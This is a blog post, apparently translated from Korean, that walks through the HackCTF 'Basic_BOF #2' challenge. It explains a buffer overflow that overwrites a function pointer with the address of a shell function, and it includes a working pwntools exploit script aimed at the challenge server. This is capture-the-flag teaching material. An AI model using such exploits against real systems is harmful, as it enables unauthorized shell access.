2021-09-09 · 1

HackCTF Basic_BOF #2 write-up

securityctf

この記事は公開から2年以上経過しています。

https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2


CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  int (*v5)(); // [esp+8Ch] [ebp-Ch]

  v5 = sup;
  fgets(s, 133, stdin);
  v5();
  return 0;
}
int shell()
{
  return system("/bin/dash");
}

shell 関数を実行すればよい問題のようです。fgets で BOF が起きます。ペイロード dummy[128] + shell で解決しそうです。なぜリターンまで上書きしないのか気になるかもしれませんが、コードをもう一度見てください。v5 という関数を実行する部分があります。そして s から v5 の前までを dummy で埋め、v5 のアドレスを shell アドレスに変えれば、v5(); の部分が実行されるとき shell 関数が実行されるのと同じになります。

自分の知っている技法だけにこだわらず、コードを見ながら問題を解けばもっと簡単に解決できます。

ソースコード

もっと見る

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")

shell = e.symbols['shell']
offset = 128

payload = b'A'*128 + p32(shell)

p.send(payload)
p.interactive()

**[ハッキング/システムハッキング] - [システムハッキング] Buffer Overflow (BOF)**](https://nabomhalang.tistory.com/entry/시스템해킹-HackCTF-BasicBOF-1) [[システムハッキング] Buffer Overflow (BOF) BUFFER OVERFLOW BOF 設定されているバッファのサイズより大きく入力を受け取れるときに生じる脆弱性です。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h.. > — nabomhalang.t — nabomhalang.tistory.com


原文(韓国語): tistory — 2021-09-09 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。

コメント

コメントを削除しますか?

関連記事

HackCTF Basic_BOF #2 write-up · 나봄하랑